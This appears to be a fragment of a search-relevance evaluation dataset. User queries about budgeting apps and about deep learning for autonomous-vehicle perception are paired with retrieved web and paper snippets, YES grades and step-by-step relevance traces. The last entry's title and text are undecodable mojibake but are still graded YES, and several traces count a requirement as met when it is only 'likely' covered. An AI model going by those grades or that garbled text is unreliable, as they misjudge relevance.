                "text": "Managing your money is critical for your financial well-being. But there\u2019s no one-size-fits-all approach to budgeting, so you need to find a method that works for you. The following budgeting apps can help you do exactly that. 8 best budgeting software apps     Budgeting App Cost Features Usability Mobile App Links to accounts        Empower      Free     Net worth tracking, budgeting, and automatic categorization; you can add investment management services for an additional cost     Connects your savings, checking, investments, and retirement accounts     iOS and Android     Yes        YNAB      $99 a year or $14.99 a month and free for the first 34 days     Follows zero-based budgeting, very specific in detailing where your money goes     Connects major accounts to track every dollar     iOS and Android     Yes        Rocket Money      Free     Build a budget through individual expense categorization and create savings goals individually or with a partner     Connects to banking accounts and helps you cut unwanted subscriptions     iOS and Android     Yes        Monarch      $14.99 a month or $99 a year     Create a budget with or without a partner (you can even invite your financial advisor); also tracks your investments     Uses AI to to organize your transactions, and gets smarter over time; Connects with all your financial institutions \u2014 banks, credit card, loan, investment accounts, and more     iOS and Android     Yes        Quicken Classic: Deluxe or Premier      $5.99 or $4.97 or $6.57 a month     Simple interface to track spending and create a budget based on expenses     Connect accounts and manually add transactions     iOS and Android     Yes        Quicken Simplifi      $2.99 a month     Tracks expenses to build a personalized budget using your preferred method, including zero-based, envelope, 50/30/20, and more     Imports banking transactions and adds flexibility with categorization     iOS and Android     Yes       Goodbudget     Free     Based on the envelope system to track spending and expens",
                "model_trace": "Query Decomposition:\n1. {popular finance app}: The document lists several popular finance apps -> ([1], SATISFIED)\n2. {allows users to track their spending}: The document mentions that the apps allow users to track their spending -> ([1], SATISFIED)\n3. {create budgets}: The document mentions that the apps allow users to create budgets -> ([1], SATISFIED)\n4. {monitor their credit scores}: The document does not mention credit score monitoring for any of the apps -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {popular finance app}, {allows users to track their spending}, and {create budgets}. Since all these subcomponents are satisfied, the document is helpful for the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "Money - Your Financial Planner on the App Store",
                "url": "https://apps.apple.com/us/app/money-your-financial-planner/id1185488696",
                "published_date": null,
                "text": "Take control of your finances with Money! Manage accounts, budgets, and investments seamlessly. Secure, intuitive, and feature-packed. \"Excellent\" - Mac|Life magazine.Featured in the App Store's \"Apps We Love\" section! Take control of your finances with the sleek new Money app! Utilizing a vast Direct Downloads network, Money provides access to over 50,000 financial institution connections spanning 57 countries, simplifying the task of managing your finances! Easily oversee your accounts, create budgets and goals, effortlessly generate insightful reports, and schedule transactions - all updates will seamlessly synchronize across your devices via iCloud. Money seamlessly integrates with the latest Macs, iPads, or iPhones, showcasing cutting-edge features within an elegant and intuitive interface. Now you can experience Money for free and see if it meets your needs! Key Features: Convenient Tracking of Income and Expenses:\u2022 Manage various account types (bank, cash, credit card, loan, investment, etc.)\u2022 Support for multiple currencies and cryptocurrencies with automatic rate updates\u2022 Reconciliation of accounts and individual transactions\u2022 Automated payee and category recognition\u2022 Transfer and split payments\u2022 Easy tagging, note-taking, and attachment options Effortless Budgeting and Savings Goals:\u2022 Advanced budget categories with customizable periods\u2022 Averaged amounts for setting realistic budget limits\u2022 Easy tracking of budget category progress\u2022 All expenses are accounted for, including unbudgeted items\u2022 Convenient budget tracking by accounts, transfers, and tags\u2022 Multiple Budgets: Manage your finances effortlessly by creating and tracking multiple budgets for different areas of your life.\u2022 Savings Goals: Plan for the future and achieve financial milestones by setting up savings goals within the app. Intelligent Scheduler:\u2022 Intuitive scheduling of income, expenses, and transfers\u2022 Seamless management of recurring transactions such as utility bills or loan payments\u2022 Quick access to pending scheduled transactions\u2022 One-",
                "model_trace": "Query Decomposition:\n1. {popular finance app}: The document mentions that the app \"Money\" is featured in the App Store's \"Apps We Love\" section and received a positive review from Mac|Life magazine, indicating it is popular -> ([2], SATISFIED)\n2. {allows users to track their spending}: The document mentions \"Convenient Tracking of Income and Expenses,\" which includes managing various account types and tracking expenses -> ([1], SATISFIED)\n3. {create budgets}: The document details features for \"Effortless Budgeting and Savings Goals,\" including advanced budget categories and tracking -> ([1], SATISFIED)\n4. {monitor their credit scores}: The document does not mention any feature related to monitoring credit scores -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {popular finance app}, {allows users to track their spending}, and {create budgets}, all of which are satisfied by the document. The subcomponent related to monitoring credit scores is not addressed, but it does not affect the overall evaluation since it's tagged [0]. YES."
            }
        ]
    },
    {
        "query": "I'm trying to write a literature review on recent advances in deep learning for autonomous vehicle perception. I need to find published research papers that discuss the latest neural network architectures, training techniques, and real-world performance of deep learning models for tasks like object detection, semantic segmentation, and sensor fusion in self-driving cars.",
        "grid_pos": [
            2,
            0
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Paper/Journal/Publication",
        "reasoning_trace": [
            "The provided queries cover a range of academic research topics that would require finding relevant published papers and journal articles to answer effectively. The queries demonstrate a need for in-depth, contextual information and demonstrate the user's familiarity with the research process. Providing high-quality, authoritative sources to address these queries would test the capabilities of an AI-powered search engine like Exa."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Deep Multi-modal Object Detection and Semantic Segmentation for Autonomous Driving: Datasets, Methods, and Challenges",
                "url": "https://arxiv.org/abs/1902.07830v2",
                "published_date": "2019-02-21",
                "text": "Deep Multi-modal Object Detection and Semantic Segmentation for Autonomous Driving: Datasets, Methods, and Challenges\n\nDi Feng \nChristian Haase-Sch\u00fctz \nLars Rosenbaum \nHeinz Hertlein \nFabian Duffhau\u00df \nClaudius Gl\u00e4ser \nWerner Wiesbeck \nKlaus Dietmayer \nDeep Multi-modal Object Detection and Semantic Segmentation for Autonomous Driving: Datasets, Methods, and Challenges\n1multi-modalityobject detectionsemantic segmen- tationdeep learningautonomous driving\nRecent advancements in the perception for autonomous driving are driven by deep learning. In order to achieve the robust and accurate scene understanding, autonomous vehicles are usually equipped with different sensors (e.g. cameras, LiDARs, Radars), and multiple sensing modalities can be fused to exploit their complementary properties. In this context, many methods have been proposed for deep multi-modal perception problems. However, there is no general guideline for network architecture design, and questions of \"what to fuse\", \"when to fuse\", and \"how to fuse\" remain open. This review paper attempts to systematically summarize methodologies and discuss challenges for deep multi-modal object detection and semantic segmentation in autonomous driving. To this end, we first provide an overview of on-board sensors on test vehicles, open datasets and the background information of object detection and semantic segmentation for the autonomous driving research. We then summarize the fusion methodologies and discuss challenges and open questions. In the appendix, we provide tables that summarize topics and methods. We also provide an interactive online platform to navigate each reference: https://multimodalperception.github.io.\n\nI. INTRODUCTION\n\nSince the first successful demonstration in the 1980s [1] as well as the DARPA Urban Challenge in 2007 [2], significant progress has been made in autonomous driving. It offers high potential to decrease traffic congestion, improve road safety, and reduce carbon emissions [3]. However, developing reliable autonomous driving is still ",
                "model_trace": "Query Decomposition:\n1. {recent advances in deep learning for autonomous vehicle perception}: The document discusses recent advancements in deep learning for autonomous driving perception -> ([1], SATISFIED)\n2. {published research papers}: The document is a research paper published on arXiv -> ([1], SATISFIED)\n3. {latest neural network architectures}: The document discusses methodologies for deep multi-modal perception, which likely includes neural network architectures -> ([2], SATISFIED)\n4. {training techniques}: The document does not explicitly mention training techniques in the provided content -> ([0], UNSURE)\n5. {real-world performance of deep learning models}: The document discusses challenges and methodologies, which may involve real-world performance -> ([2], SATISFIED)\n6. {tasks like object detection, semantic segmentation, and sensor fusion}: The document explicitly mentions object detection, semantic segmentation, and sensor fusion -> ([1], SATISFIED)\n\nAssessment: The document satisfies all relevant subcomponents tagged with [1] or [2]. YES."
            },
            {
                "grade": "YES",
                "title": "NeurAll: Towards a Unified Model for Visual Perception in Automated Driving",
                "url": "https://arxiv.org/abs/1902.03589v2",
                "published_date": "2019-02-10",
                "text": "NeurAll: Towards a Unified Model for Visual Perception in Automated Driving\n\nGanesh Sistu \nIsabelle Leang \nSumanth Chennupati \nStefan Milz \nSenthil Yogamani \nSamir Rawashdeh \nNeurAll: Towards a Unified Model for Visual Perception in Automated Driving\n\nConvolutional Neural Networks (CNNs) are successfully used for the important automotive visual perception tasks including object recognition, motion and depth estimation, visual SLAM, etc. However, these tasks are independently explored and modeled. In this paper, we propose a joint multi-task network design called NeurAll for learning all tasks simultaneously. Our main motivation is the computational efficiency achieved by sharing the expensive initial convolutional layers between all tasks. Indeed, the main bottleneck in automated driving systems is the limited processing power available on deployment hardware. There could be other benefits in improving accuracy for some tasks and it eases development effort. It also offers scalability to add more tasks leveraging existing features and achieving better generalization. We survey various CNN based solutions for visual perception tasks in automated driving. Then we propose a unified CNN model for the important tasks and discuss several advanced optimization and architecture design techniques to improve the baseline model. The paper is partly review and partly positional with demonstration of several preliminary results promising for future research. Firstly, we show that an efficient two-task model performing semantic segmentation and object detection achieves similar accuracies compared to separate models on various datasets with minimized runtime. We then illustrate that using depth regression as auxiliary task improves semantic segmentation and using multi-stream semantic segmentation outperforms one-stream semantic segmentation. The two-task network achieves 30 fps on an automotive grade low power SOC for 1280x384 image resolution.\n\nI. INTRODUCTION\n\nAutomated driving is a rapidly advancing application domain, and",
                "model_trace": "Query Decomposition:\n1. {recent advances in deep learning for autonomous vehicle perception}: The document discusses a unified model for visual perception in automated driving, which is a recent advance in deep learning for this domain -> ([1], SATISFIED)\n2. {published research papers}: This document is a research paper published on arXiv -> ([1], SATISFIED)\n3. {latest neural network architectures}: The document proposes a joint multi-task network design called NeurAll, which is a neural network architecture -> ([1], SATISFIED)\n4. {training techniques}: The document discusses several advanced optimization and architecture design techniques, which can be considered as training techniques -> ([1], SATISFIED)\n5. {real-world performance of deep learning models}: The document provides preliminary results on the performance of the proposed model, including runtime and accuracy on various datasets -> ([1], SATISFIED)\n6. {tasks like object detection, semantic segmentation, and sensor fusion}: The document specifically mentions semantic segmentation and object detection, but not sensor fusion -> ([2], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "Autonomous Driving with Deep Learning: A Survey of State-of-Art Technologies",
                "url": "https://arxiv.org/abs/2006.06091v2",
                "published_date": "2020-06-10",
                "text": "Autonomous Driving with Deep Learning: A Survey of State-of-Art Technologies\n\nAuthors:\nYu Huang, yu.huang@bst.ai\nYue Chen, yue.chen@futurewei.com\n\nAbstract\n\nSince DARPA's Grand Challenges (rural) in 2004/05 and Urban Challenges in 2007, autonomous driving has been the most active field of AI applications. Almost at the same time, deep learning has made breakthrough by several pioneers, three of them (also called fathers of deep learning), Hinton, Bengio and LeCun, won ACM Turin Award in 2019. This is a survey of autonomous driving technologies with deep learning methods. We investigate the major fields of self-driving systems, such as perception, mapping and localization, prediction, planning and control, simulation, V2X and safety etc. Due to the limited space, we focus the analysis on several key areas, i.e. 2D/3D object detection in perception, depth estimation from cameras, multiple sensor fusion on the data, feature and task level respectively, behaviour modelling and prediction of vehicle driving and pedestrian trajectories.\n\nINTRODUCTION\n\nAutonomous Driving has been active for more than 10 years [48, 51, 57, 58] . In 2004 and 2005, DARPA held the Grand Challenges in rural driving of driverless vehicles. In 2007, DAPRA also held the Urban Challenges for autonomous driving in street environments. Then professor S. Thrun at Stanford university, the first-place winner in 2005 and the second-place winner in 2007, joined Google and built Google X and the self-driving team.\n\nBreakthroughs on deep learning have been achieved since Hinton published new deep structured learning architecture, called deep belief network (DBN) [5] . In 2019, the fathers of deep learning, Hinton, Bengio and LeCun, were nominated as the winners of ACM Turin Award. The past decade has seen rapid developments of deep learning techniques with significant impacts on signal and information processing. In the ImageNet Challenge 2002, the first place winner came from Hinton's group, using a novel Convolutional Neural Network (CNN) called AlexNe",
                "model_trace": "Query Decomposition:\n1. [recent advances in deep learning for autonomous vehicle perception]: The document is a survey of state-of-the-art technologies in autonomous driving, specifically focusing on deep learning methods, so this subcomponent is satisfied -> ([1], SATISFIED)\n2. [published research papers]: The document is a published research paper on arXiv, so this subcomponent is satisfied -> ([1], SATISFIED)\n3. [latest neural network architectures]: The document mentions deep learning methods and architectures such as deep belief networks (DBN) and convolutional neural networks (CNN), so this subcomponent is satisfied -> ([1], SATISFIED)\n4. [training techniques]: The document likely covers training techniques as part of the deep learning methods discussed, though it is not explicitly mentioned in the provided content -> ([2], SATISFIED)\n5. [real-world performance of deep learning models]: The document discusses the application of deep learning in real-world tasks like 2D/3D object detection, sensor fusion, and trajectory prediction, so this subcomponent is satisfied -> ([1], SATISFIED)\n6. [object detection, semantic segmentation, and sensor fusion in self-driving cars]: The document specifically mentions 2D/3D object detection and sensor fusion, though semantic segmentation is not explicitly mentioned in the provided content -> ([2], SATISFIED)\n\nAssessment: All subcomponents tagged with [1] or [2] are SATISFIED. The document is highly relevant to the user's query and provides comprehensive coverage of recent advances in deep learning for autonomous vehicle perception.\n\nYES"
            },
            {
                "grade": "YES",
                "title": "The Current Trends of Deep Learning in Autonomous ...",
                "url": "https://www.researchgate.net/publication/365052729_The_Current_Trends_of_Deep_Learning_in_Autonomous_Vehicles_A_Review",
                "published_date": null,
                "text": "Discover the world's research   25+ million members 160+ million publication pages 2.3+ billion citations    Join for free          \n                    \n            \n        \n        \n        \n                                        \n              Special Issue of Multidisciplinary Sciences and Advanced Technology   www.jenrs.com                         Journal of Engineering Research and Sciences, 1(10): 56 -68  , 2022                                              56      Received: 15 August, 2022, Accepted: 08   October, 2022, Online: 31 October, 2022    DOI: https://dx.doi.org/10.55708/js01100 08     The Current Trends of Deep Learning in Autonomous   Vehicles: A  Review    Jing Ren*,1    , Raymond Ning Huang 1 , Jing Ren 2 , Hossam A. Gab  bar 3   1Department of Mechanical Engineering, Unive rsity of Toronto,  Toronto , M5S 1A 4, Canada   2Department of Electrical and Compu ter Engineering, Ontario Tech University,  Oshawa , L1H 7K4, Canada   3Department of Energy and Nuclear Engineering,   Ontario Tech University,  Oshawa , L1H 7K4, C anada     *Corresponding author: Jing Ren, 2000 S imcoe Street N. Oshawa, ON, Canada, jing.ren @uoit.ca  ABSTRACT: Autonomous vehicles are the future of road traffic.   In addition to improving safety  and   efficiency from  reduced  errors co mpared to  conventional  vehicles,  autonomous  vehicles can  also  be  implemented  in  applications  that  ma y  be  inconvenient  or  dangerous  to  a  human  driver.  To  realize  this  visi on,  seve n  essential   techn ologies  need  to  be  evolved  and  refined  including  path  planning,  computer vision, sensor fusion, data security, fault diagnosis, control, and lastly, communication and  networking. The contrib utions and the  novelty of this  paper are:  1)  provide a comprehensive  review  of the re cent advances  in using deep  learning  for autonomous  vehicle research,  2) offer  insights into  several important aspects of this emerging area, and 3)  identify five directions for future research. To  the best  of our  kno",
                "model_trace": "Query Decomposition:\n1. {recent advances in deep learning for autonomous vehicle perception}: The document is a review paper on the current trends of deep learning in autonomous vehicles, which likely includes recent advances -> ([1], SATISFIED)\n2. {neural network architectures}: The document mentions providing a comprehensive review of deep learning for autonomous vehicle research, which likely includes neural network architectures -> ([2], SATISFIED)\n3. {training techniques}: The document likely discusses training techniques as part of the comprehensive review -> ([2], SATISFIED)\n4. {real-world performance of deep learning models}: The document likely includes insights into real-world performance as part of the comprehensive review -> ([2], SATISFIED)\n5. {tasks like object detection, semantic segmentation, and sensor fusion}: The document mentions sensor fusion and computer vision, which likely includes object detection and semantic segmentation -> ([2], SATISFIED)\n6. {published research papers}: The document itself is a published research paper -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "Deep Learning Sensor Fusion for Autonomous Vehicle ...",
                "url": "https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7436174/",
                "published_date": null,
                "text": "Journal List\n                \n            \n                \n                    Sensors (Basel)\n                \n            \n                \n                    PMC7436174\n                \n            \n    \n \n        \n        \n  \n        \n            Sensors (Basel). 2020 Aug; 20(15): 4220.    Abstract Autonomous vehicles (AV) are expected to improve, reshape, and revolutionize the future of ground transportation. It is anticipated that ordinary vehicles will one day be replaced with smart vehicles that are able to make decisions and perform driving tasks on their own. In order to achieve this objective, self-driving vehicles are equipped with sensors that are used to sense and perceive both their surroundings and the faraway environment, using further advances in communication technologies, such as 5G. In the meantime, local perception, as with human beings, will continue to be an effective means for controlling the vehicle at short range. In the other hand, extended perception allows for anticipation of distant events and produces smarter behavior to guide the vehicle to its destination while respecting a set of criteria (safety, energy management, traffic optimization, comfort). In spite of the remarkable advancements of sensor technologies in terms of their effectiveness and applicability for AV systems in recent years, sensors can still fail because of noise, ambient conditions, or manufacturing defects, among other factors; hence, it is not advisable to rely on a single sensor for any of the autonomous driving tasks. The practical solution is to incorporate multiple competitive and complementary sensors that work synergistically to overcome their individual shortcomings. This article provides a comprehensive review of the state-of-the-art methods utilized to improve the performance of AV systems in short-range or local vehicle environments. Specifically, it focuses on recent studies that use deep learning sensor fusion algorithms for perception, localization, and mapping. The article concludes by highligh",
                "model_trace": "Query Decomposition:\n1. {recent advances in deep learning for autonomous vehicle perception}: The document is a comprehensive review of state-of-the-art methods utilized to improve AV systems, focusing on recent studies using deep learning sensor fusion algorithms -> ([1], SATISFIED)\n2. {neural network architectures}: The document does not explicitly mention neural network architectures -> ([0], UNSURE)\n3. {training techniques}: The document does not explicitly mention training techniques -> ([0], UNSURE)\n4. {real-world performance of deep learning models}: The document discusses the performance of AV systems in short-range or local vehicle environments, which implies real-world performance -> ([2], SATISFIED)\n5. {tasks like object detection, semantic segmentation, and sensor fusion}: The document focuses on sensor fusion algorithms for perception, localization, and mapping, which are relevant tasks for autonomous vehicles -> ([1], SATISFIED)\n\nAssessment: The document satisfies the key subcomponents related to recent advances in deep learning for autonomous vehicle perception, real-world performance, and relevant tasks. The subcomponents related to neural network architectures and training techniques are tagged as [0] and do not affect the evaluation. YES."
            },
            {
                "grade": "YES",
                "title": "Deep learning for object detection and scene perception in ...",
                "url": "https://www.sciencedirect.com/science/article/pii/S2590005621000059",
                "published_date": null,
                "text": "This article presents a comprehensive survey of deep learning applications for object detection and scene perception in autonomous vehicles. Unlike existing review papers, we examine the theory underlying self-driving vehicles from deep learning perspective and current implementations, followed by their critical evaluations. Deep learning is one potential solution for object detection and scene perception problems, which can enable algorithm-driven and data-driven cars. In this article, we aim to bridge the gap between deep learning and self-driving cars through a comprehensive survey. We begin with an introduction to self-driving cars, deep learning, and computer vision followed by an overview of artificial general intelligence. Then, we classify existing powerful deep learning libraries and their role and significance in the growth of deep learning. Finally, we discuss several techniques that address the image perception issues in real-time driving, and critically evaluate recent implementations and tests conducted on self-driving cars. The findings and practices at various stages are summarized to correlate prevalent and futuristic techniques, and the applicability, scalability and feasibility of deep learning to self-driving cars for achieving safe driving without human intervention. Based on the current survey, several recommendations for further research are discussed at the end of this article.",
                "model_trace": "Query Decomposition:\n1. {recent advances in deep learning for autonomous vehicle perception}: This document presents a comprehensive survey of deep learning applications for object detection and scene perception in autonomous vehicles -> ([1], SATISFIED)\n2. {published research papers}: This document is a research paper published on ScienceDirect -> ([1], SATISFIED)\n3. {latest neural network architectures}: The document mentions examining the theory and implementations of deep learning, which likely includes neural network architectures -> ([2], SATISFIED)\n4. {training techniques}: The document discusses deep learning applications and techniques, which likely includes training techniques -> ([2], SATISFIED)\n5. {real-world performance of deep learning models}: The document mentions critical evaluations of recent implementations and tests conducted on self-driving cars -> ([1], SATISFIED)\n6. {tasks like object detection, semantic segmentation, and sensor fusion}: The document explicitly mentions object detection and scene perception, which implies semantic segmentation and potentially sensor fusion -> ([2], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents that can be evaluated. YES."
            }
        ]
    },
    {
        "query": "I'm working on a research paper about the historical development of machine learning techniques for natural language processing. I'm looking for academic papers that provide a comprehensive overview of the key milestones and breakthroughs in this field from the 1950s to the present day.",
        "grid_pos": [
            2,
            0
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Paper/Journal/Publication",
        "reasoning_trace": [
            "The provided queries cover a range of academic research topics that would require finding relevant published papers and journal articles to answer effectively. The queries demonstrate a need for in-depth, contextual information and demonstrate the user's familiarity with the research process. Providing high-quality, authoritative sources to address these queries would test the capabilities of an AI-powered search engine like Exa."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "\u00a2\u00a1 \u00a4\u00a3 \u00a6\u00a5 \u00a8 \u00a7 \u00a6\u00a1 \u00a9 \u00a9 \u00a1 \u00a5 \u00a1 \u00a8 \u00a7 \u00a6! #\" $ &% '% '( ) \u00a80 1\u00a1 2 \u00a8( 3% 4\u00a3 5! 6 \u00a7 7( 3\" $\u00a1 \u00a9 8 \u00a7 7 @9 A( ) CB D FE HG PI )Q SR UT VE HG PW YX AHa bQ cI d e a bf T cg ih pI )G rq sE Ht ua HG vE wh pa bG Px Hy V @Q c bI G pd p h x a H e E Hf t cG P c HI E Hf FE wh vI d $ g c c Q i cy V ed ca bf d pa bQ #f @ HI )Q gg cI wy e E Hf t cG p c bI e ih j bk 'l y i CD m n io Hp vq Yr ts 3u wv yx Ym wz @q |{ } ~q po H } o q )} gr n y \u00a6 \u00a6 } ~q |{ } ~q po H } o q )} r Y r r m s W |h va bt I )G r wj bj i $ c P Y \u00a2\u00a1 w\u00a3 \u00a5 \u00a4 \u00a6 w \u00a7 \u00a6 H\u00a9 5\u00a9 P\u00aa 3\u00a3 \u00ab P\u00ac s\u00a4 \u00ae w \u00a7 Y\u00b0\u00a9 \u00b1 \u00a7 \u00b2 \u00b2 \u00b3 \u00a7 w|\u00b0w \u00a7 ||\u00a6\u00a6 \u00a9 \u00b5 \u00b6 tP\u00a4 \u00a4 \u00a3 \u00ab F\u2022 \u00b9 U\u00ba u\u00bb \u00a2\u00bc \u00bd\u00a9 \u00b5 |\u00be 8\u00a1 \u00b2 \u00b3 \u00a7 Y7 \u00a3 \u00a5 \u1e97 F\u00bc \u00bd\u00b5 |\u00a9 \u00a3 \u00a5 P\u00a4 \u00b5 \u00bf\u00a1 w\u00a4\u00a6 \u00a9 P\u00a4 )P\u00c0 s\u00a4 P\u00c1 3\u00a3 \u00ab \u00b5 \u00a3 \u00b3 \u00c2 )\u00a3 \u00ab \u00bc \u00bd\u00c3 \u00c4\u00a3 \u00b1\u00a4 r\u00a4 \u00b0w \u00b6 \u00b6 P\u00a4 \u00a4 ~\u00a3 \u00a5 \u00aa |\u00c5\u00a9 P w\u00c2 \u00a4 @ \u00a7 |\u00a4 e\u00a1 P\u00a4 F\u00a9 \u1e97AE wp \u00b6 @ \u00b6 \u00b5 | w \u00b6 \u00a9 w\u00a4 e\u00ac \u00ae\u00a3 \u00ab \u00a1 \u00c2 \u00a3 \u00c7 b\u00a9 )\u00a6 \u00a9 \u00b5 |\u00c8 w\u00b2 \u00ab P\u00be i\u00a4 7\u00b5 |\u00a9 \u00a6\u00a1 $\u00a6 \u00b0\u00a9 \u00b1\u00a4 \u00b0\u00a3 7\u00b5 |\u00bc s\u00c2 \u00a3 \u00c7 b\u00a9 )\u00c9 \u00a7 |\u00a6 \u00a6 \u00a9 \u00b5 \u00a7 \u00b6 \u00b1\u00a1 P\u00a4 4\u00b5 \u00ca\u00a4 ~\u00b5 \u00b2 \u00ab \u00aa 3\u00a3 \u00a5 \u0106\u00a1 p\u00a4 ~$\u00a6 w\u00a9 \u00b5 \u00c8 \u00b2 \u00ab P\u00be e\u00a4 7 \u00a7 w\u00c2 \u00c8 w\u00b0\u00a3 \u00ab \u00b2 \u00b3 \u00c2 \u00a3 \u00a5 @\u00a4 \u00c3 \u00a4 \u00be e\u00a4 \u00a7 \u00a4 s\u00ac \u00ae\u00a1 \u00b5 \u00b2 \u00ab p\u00a4 \u00cb \u00ae \u00a2\u00a1 \u00c9\u00a9 P\u00aa 3\u00a3 \u00ab P\u00ac \u00c2 \u00a3 \u00a5 \u00a4 ~\u00a3 \u00a5 |\u00b0w\u00a3 \u00a5 \u00a4 \u00a1 P\u00a4 s\u00bc \u00bd\u00b5 |\u00b0\u00a9 4\u00a6 \u00a1 w \u00a7 \u00a4 ~p\u00a4 \u00ae\u00a3 \u00ab F\u00a1 \u00c9\u00a1 \u00a3 \u00a5 \u00a4 ~\u00b5 \u00a9 \u00c3 C\u00b5 \u00bc \u00cc4\u00b9 \u00ba c\u00c0 \u00b6 \u00b1\u00a1 w \u00a7 \u00a9 \u00b1 \u00a7 | \u00b6 \u00a9 \u00a3 \u00a5 \u00a4 P\u00c2 6\u00a9 P\u00a4 \u00a6 wp \u00b6 \u00a3 \u00a5 \u00aa |P\u00b2 \u00ab \u00c3 \u00c8 )\u00c3 \u00c4 \u00a7 \u00c4P\u00be \u00a6 w\u00a1 w \u00a7 |\u00a4 \u00a3 \u00a5 \u00a4 $\u00b5 | \u00be e \u00a7 | \u00b6 \u00b1\u00a1 \u00a3 \u00a5 \u00c5\u00a9 \u00a7 | w\u00a4 ~\u00b2 \u00b3 \u00a7 Y\u00a3 \u00ab \u00b5 g\u00c0 y\u00c8 )\u00c3 6\u00a1 wF\u00a3 \u00ab AE w\u00b0 w \u00b6 tF\u00b5 |\u00bc \u00a7 |\u00a9 ~\u00a3 \u00cd H \u00b6 t\u00a3 \u00b3 \u00a7 \u00b2 )\u00a3 \u00ab )P\u00b2 \u00ab \u00b2 \u00a5 \u00a3 \u00a5 | w \u00b6 t|\u00c0 |\u00c8 )\u00c3 5\u00a1 \u00ae \u00a7 |\u00c2 \u00b5 \u00a6 \u00a3 \u00a5 \u00b5 | 7\u00b5 |\u00bc w \u00a7 4\u00b2 \u00ab \u00b5 |\u00a3 \u00b3 \u00b6 t\u00b5 \u00ce \u00cf|\u00a9 \u00b1 \u00a7 \u00be i\u00be e \u00a7 Y\u00a3 \u00a5 \u00b6 P \u00a7 \u00b2 |\u00a4 ~\u00c3 3\u00b2 \u00ab \u00c0 \u00a7 w\u00c2 7\u00a1 \u00ff\u00b0w\u00a4 \u00fc\u00b5 |\u00bc w\u00be e \u00a7 |\u00a4 \u00a4 ~\u00a3 \u00a5 \u00aa |2 \u00b3 \u00a7 w|\u00b0w \u00a7 ||4\u00c2 w \u00a7 Y \u00a7 w\u00cb V \u00a2\u00a1 5 \u00a7 \u00b6 \u00b6 \u00b5 |\u00b0 )\u00ae \u00b6 t\u00b5 | w\u00a4 ~\u00a3 \u00b3 \u00c2 \u00a9 \u00b1\u00a4 \u00a1 '\u00a4 ~\u00a3 \u00a5 | w\u00a3 \u00cd w \u00b6 P \u00a7 )\u00ae \u00a7 w\u00c2 @\u00a4 \u00a7 |\u00b2 \u00ab \u00a3 \u00a5 )\u00a2\u00ac u\u00b5 \u00a9 \u00c1 i\u00a3 \u00a5 rP \u00a7 \u00b6 \u00b1\u00a1 r\u00a6 \u00a1 w \u00a7 |\u00a4 |\u00c0 \u00a7 w\u00c2 \u00b6 \u00b5 | w \u00b6 \u00b2 \u00ab \u00b0w\u00c2 P\u00a4 '\u00ac \u00ae\u00a3 \u00ab \u00a1 \u00bf \u00a7 \u00a7 |\u00a4 \u00a4 P\u00a4 \u00a4 ~\u00be i )'\u00b5 \u00bc \u00a2\u00ac \u00ae\u00a1 \u00a9 \u00ef\u00ac u\u00eb\u00a4 ~ \u00a7 | w\u00c2 \u00ca \u00a7 \u00bc P\u00a9 \u00a6\u00be \u00b5 \u00a9 \u00a1 w \u00a7 \u00ca\u00cd \u00bc \u00c3 \u00a4\u00c3 P \u00a7 |\u00a9 \u00a4 5\u00b5 \u00bc y\u1e97\u00c7 b\u00b5 |\u00a9 7\u00a3 \u00ab \u00a1 '\u00cd wP\u00b2 \u00a5 \u00c2 \u00cb u\u00d0 \u00d1 \u00d2 g\u00d3 i\u00d4 i\u00d5 V\u00d6 $\u00d7 F\u00d8 \u00c5\u00d9 y\u00d4 V\u00da t\u00d6 \u00c9\u00d3 \u00db \u00dc \u00dd t\u00de #\u00df \u00bd\u00e0 A\u00e1 t\u00e2 \u00e3 \u00ca\u00e4 \u00e5 ae \u00e8\u00e7 g\u00e3 \u00e9 \u00bd\u00ea A\u00e2 g\u00eb \u00ec @\u00ed v\u00dc \u00e0 \u00ed v\u00e3 \u00e0 w\u00e1 \u00dd \u00eb 3\u00e1 \u00e3 \u00ea \u00ee\u00e7 g\u00dd P\u00ec \u00e1 $\u00dc \u00e0 S\u00dc \u00e0 \u00e3 F\u00ef g\u00dd t\u00dc \u00f0 U\u00e9 \u00e3 \u00f1 \u00bf\u00f2 \u00e1 t\u00e2 g\u00e3 \u00e0 A\u00dc \u00e0 S\u00eb \u00e0 \u00dc \u00e1 t\u00e2 \u00e3 Y\u00dd \u00f2 \u00ae\u00ec \u00dc \u00f1 &\u00e3 Y\u00e1 t\u00df \u00f1 &\u00e3 \u00ec \u00f0 c\u00e3 \u00ed Y\u00eb \u00f3 g\u00ec \u00e3 5\u00ec \u00dc \u00e9 \u00f4 b\u00df \u00bd\u00e0 \u00f5 \u00ef \u00dd t\u00dc \u00f0 \u00e9 \u00e3 \u00f1 \u00f7\u00f6 \u00f8\u00ea \u00e3 Y\u00ef c\u00e3 \u00e0 g\u00ea g\u00ec \u00cc\u00dc \u00e0 C\u00ec \u00dc \u00e9 \u00f4 b\u00df \u00bd\u00e0 \u00f5 \u00ef g\u00dd t\u00dc \u00f0 \u00e9 \u00e3 \u00f1 \u00fa\u00f9 \u00fb\u00f0 \u00f3 \u00e1 y\u00ec \u00dc \u00f1 &\u00e3 Y\u00e1 t\u00df \u00bd\u00f1 F\u00e3 \u00ec \u00fc t\u00f3 g\u00ec \u00e1 u\u00f0 i\u00e3 \u00ed Y\u00eb \u00f3 \u00ec \u00e3 4\u00ef \u00dd t\u00dc \u00f0 \u00e9 \u00e3 \u00f1 \u00f9 \u00ec \u00e3 Y\u00e3 \u00f1 F\u00ec \u00c9\u00f1 &\u00dc \u00dd t\u00e3 e\u00e1 \u00dd \u00eb \u00ed v\u00e1 t\u00eb 3\u00f0 \u00e9 \u00bd\u00e3 r\u00e1 t\u00e2 g\u00eb \u00e0 \u00bf\u00ef \u00dd t\u00dc \u00f0 \u00e9 \u00e3 \u00f1 \u00fd\u00f6 C\u00f2 g\u00dc \u00dd 7\u00f0 c\u00e3 \u00ed Y\u00eb \u00f3 